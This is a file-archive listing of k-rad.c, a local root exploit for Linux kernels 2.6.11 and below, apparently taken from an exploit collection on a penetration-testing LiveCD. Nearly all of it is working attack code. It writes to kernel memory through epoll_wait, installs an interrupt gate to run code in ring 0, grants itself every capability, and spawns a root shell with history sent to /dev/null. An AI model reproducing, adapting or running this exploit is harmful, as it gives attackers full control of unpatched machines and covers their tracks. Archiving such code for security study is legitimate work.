home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / k-rad.c < prev    next >
C/C++ Source or Header  |  2005-03-23  |  8KB  |  308 lines
  1. /*
  2. * k-rad.c - linux 2.6.11 and below CPL 0 kernel exploit v2
  3. * Discovered and exploit coded Jan 2005 by sd <sd@fucksheep.org>
  4. *
  5. * In memory of pwned.c (uselib)
  6. * 
  7. * - Redistributions of source code is not permitted.
  8. * - Redistributions in the binary form is not permitted.
  9. * - Redistributions of the above copyright notice, this list of conditions,
  10. * and the following disclaimer is permitted.
  11. * - By proceeding to a Redistribution and under any form of the Program
  12. * the Distributor is granting ownership of his Resources without
  13. * limitations to the copyright holder(s).
  14. *
  15. * 
  16. * Since we already owned everyone, theres no point keeping this private
  17. * anymore.
  18. *
  19. * http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
  20. *
  21. * Thanks to our internet hero georgi guninski for being such incredible
  22. * whitehat disclosing one of the most reliable kernel bugs.
  23. * You saved the world, man, we owe you one!
  24. *
  25. * This version is somewhat broken, but skilled reader will get an idea.
  26. * Well, at least let the scriptkids have fun for a while.
  27. *
  28. * Thanks to all who helped me developing/testing this, you know who you are,
  29. * and especially to my gf for guidance while coding this.
  30. *
  31. */
  32.  
  33. #include <stdlib.h>
  34. #include <stdio.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <sys/epoll.h>
  38. #include <sys/mman.h>
  39. #include <sys/resource.h>
  40. #include <linux/capability.h>
  41. #include <asm/unistd.h>
  42. #define __USE_GNU
  43. #include <unistd.h>
  44. #include <errno.h>
  45. #include <signal.h>
  46. #include <string.h>
  47.  
  48.  
  49. #define KRS "\033[1;30m[ \033[1;37m"
  50. #define KRE "\033[1;30m ]\033[0m"
  51. #define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
  52. #define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
  53. #define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
  54.  
  55. #define MAP (0xfffff000 - (1023*4096))
  56. #define MAP_PAE (0xfffff000 - (511*4096))
  57. #define MKPTE(addr) ((addr & (~4095)) | 0x27)
  58.  
  59. #define SET_IDT_GATE(idt,ring,s,addr) \
  60. (idt).off1 = addr & 0xffff; \
  61. (idt).off2 = addr >> 16; \
  62. (idt).sel = s; \
  63. (idt).none = 0; \
  64. (idt).flags = 0x8E | (ring << 5); \
  65.  
  66. struct idtr {
  67. unsigned short limit;
  68. unsigned int base;
  69. } __attribute__ ((packed));
  70.  
  71. struct idt {
  72. unsigned short off1;
  73. unsigned short sel;
  74. unsigned char none,flags;
  75. unsigned short off2;
  76. } __attribute__ ((packed));
  77.  
  78. unsigned long long *clear1, *clear2;
  79.  
  80. #define __syscall_return(type, res) \
  81. do { \
  82. if ((unsigned long)(res) >= (unsigned long)(-125)) { \
  83. errno = -(res); \
  84. res = -1; \
  85. } \
  86. return (type) (res); \
  87. } while (0)
  88.  
  89. #define _capget_macro(type,name,type1,arg1,type2,arg2) \
  90. type name(type1 arg1,type2 arg2) \
  91. { \
  92. long __res; \
  93. __asm__ volatile ( "int $0x80" \
  94. : "=a" (__res) \
  95. : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
  96. __syscall_return(type,__res); \
  97. }
  98.  
  99. static inline _capget_macro(int,capget,void *,a,void *,b);
  100. void raise_cap(unsigned long *ts)
  101. {
  102. /* must be on lower addresses because of kernel arg check :) */
  103. static struct __user_cap_header_struct head;
  104. static struct __user_cap_data_struct data;
  105. static struct __user_cap_data_struct n;
  106. int i;
  107.  
  108. *clear1 = 0;
  109. *clear2 = 0;
  110. head.version = 0x19980330;
  111. head.pid = 0;
  112. capget(&head, &data);
  113. /* scan the thread_struct */
  114. for (i = 0; i < 512; i++, ts++) {
  115. /* is it capabilities block? */
  116. if ((ts[0] == data.effective) &&
  117. (ts[1] == data.inheritable) &&
  118. (ts[2] == data.permitted)) {
  119. /* set effective cap to some val */
  120. ts[0] = 0x12341234;
  121. capget(&head, &n);
  122. /* and test if it has changed */
  123. if (n.effective == ts[0]) {
  124. /* if so, we're in :) */
  125. ts[0] = ts[1] = ts[2] = 0xffffffff;
  126. return;
  127. }
  128. /* otherwise fix back the stuff
  129. (if we've not crashed already :) */
  130. ts[0] = data.effective;
  131. }
  132. }
  133. return;
  134. }
  135.  
  136. extern void stub;
  137. asm (
  138. "stub:;"
  139. " pusha;"
  140. " mov $-8192, %eax;"
  141. " and %esp, %eax;"
  142. " pushl (%eax);"
  143. " call raise_cap;"
  144. " pop %eax;"
  145. " popa;"
  146. " iret;"
  147. );
  148.  
  149. /* write to kernel from buf, num bytes */
  150. #define DIV 256
  151. #define RES 4
  152. int kwrite(unsigned base, char *buf, int num)
  153. {
  154. int efd, c, i, fd;
  155. int pi[2];
  156. struct epoll_event ev;
  157. int *stab;
  158. unsigned long ptr;
  159. int count;
  160. unsigned magic = 0xffffffff / 12 + 1;
  161.  
  162. /* initialize epoll */
  163. efd = epoll_create(4096);
  164. if (efd < 0)
  165. return -1;
  166. ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
  167.  
  168. /* 12 bytes per fd + one more to be safely in stack space */
  169. count = (num+11)/12+RES;
  170.  
  171. /* desc array */
  172. stab = alloca((count+DIV-1)/DIV*sizeof(int));
  173. for (i = 0; i < ((count+DIV-1)/DIV)+1; i++) {
  174. if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
  175. return -1;
  176. send(pi[0], "a", 1, 0);
  177. stab[i] = pi[1];
  178. }
  179. /* highest fd and first descriptor */
  180. fd = pi[1];
  181. /* we've to allocate this separately because we need to have
  182. it's fd preserved - using this we'll be writing actual bytes */
  183. epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
  184. for (i = 0, c = 0; i < (count-1); i++) {
  185. int n;
  186. n = dup2(stab[i/DIV], fd+2+(i % DIV));
  187. if (n < 0)
  188. return -1;
  189. epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
  190. close(n);
  191. }
  192. /* in 'n' we've the latest fd we're using to write data */
  193. for (i = 0; i < ((num+7)/8); i++) {
  194. /* data being written from end */
  195. memcpy(&ev.data, buf + num - 8 - i * 8, 8);
  196. epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
  197.  
  198. /* the actual kernel magic */
  199. ptr = (base + num - (i*8)) - (count * 12);
  200. epoll_wait(efd, (void *) ptr, magic, 31337);
  201. /* don't ask why (rotten rb-trees) :) */
  202. if (i)
  203. epoll_wait(efd, (void *)ptr, magic, 31337);
  204. }
  205.  
  206. close(efd);
  207. for (i = 3; i <= fd; i++)
  208. close(i);
  209. return 0;
  210. }
  211.  
  212. /* real-mode interrupt table fixup - point all interrupts to iret.
  213. let's hope this will shut up apm */
  214. void fixint(char *buf)
  215. {
  216. unsigned *tab = (void *) buf;
  217. int i;
  218.  
  219. for (i = 0; i < 256; i++)
  220. tab[i] = 0x0000400; /* 0000:0400h */
  221. /* iret */
  222. buf[0x400] = 0xcf;
  223. }
  224.  
  225. /* establish pte pointing to virtual addr 'addr' */
  226. int map_pte(unsigned base, int pagenr, unsigned addr)
  227. {
  228. unsigned *buf = alloca(pagenr * 4096 + 8);
  229. buf[pagenr * 1024] = MKPTE(addr);
  230. buf[pagenr * 1024+1] = 0;
  231. fixint((void *)buf);
  232. return kwrite(base, (void *)buf, pagenr * 4096 + 4);
  233. }
  234.  
  235. void error(int d)
  236. {
  237. printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n"
  238. KRAD "Try increase nrpages?\n");
  239. exit(1);
  240. }
  241.  
  242. int exploit(char *top, int npages, int pae)
  243. {
  244. struct idt *idt;
  245. struct idtr idtr;
  246. unsigned base;
  247. char *argv[] = { "k-rad", NULL };
  248. char *envp[] = { "TERM=linux", "PS1=k-rad\\$", "BASH_HISTORY=/dev/null",
  249. "HISTORY=/dev/null", "history=/dev/null",
  250. "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
  251.  
  252. signal(SIGSEGV, error);
  253. signal(SIGBUS, error);
  254.  
  255. /* first compute kernel base */
  256. base = (unsigned long) top;
  257. base += 0x0fffffff;
  258. base &= 0xf0000000;
  259.  
  260. /* get idt descriptor addr */
  261. asm ("sidt %0" : "=m" (idtr));
  262.  
  263. /* get the pte in */
  264. map_pte(base, npages, idtr.base - base);
  265.  
  266. idt = pae?(void *)MAP_PAE:(void *)MAP;
  267.  
  268. /* cleanup the stuff to prevent others spotting the gate
  269. - must be done from ring 0 */
  270. clear1 = (void *) &idt[0x7f];
  271. clear2 = (void *) (base + npages * 4096);
  272.  
  273. SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
  274.  
  275. /* call raise_cap */
  276. asm ("int $0x7f");
  277.  
  278. printf(KRADP "j00 1u(k7 k1d!\n");
  279. setresuid(0, 0, 0);
  280. setresgid(0, 0, 0);
  281. execve("/bin/sh", argv, envp);
  282. exit(0);
  283. }
  284.  
  285. int main(int argc, char **argv)
  286. {
  287. char eater[65536];
  288. int npages = 1;
  289.  
  290. /* unlink(argv[0]); */
  291. // sync();
  292. printf(KRS " k-rad.c - linux 2.6.* CPL 0 kernel exploit " KRE "\n"
  293. KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n");
  294. if (argc == 2) {
  295. npages = atoi(argv[1]);
  296. if (!npages) {
  297. printf(KRADM "Use: %s [number of pages]\n"
  298. "Increase from 1 to 5, use negative number for pae (from -1 to -5).\n"
  299. "The higher number the more likely it will crash\n", argv[0]);
  300. return 1;
  301. }
  302. printf(KRAD "Overwriting %d pages\n", npages<0?-npages:npages);
  303. }
  304.  
  305. exploit(eater, npages<0?-npages:npages,npages<0);
  306. return 0;
  307. }
  308.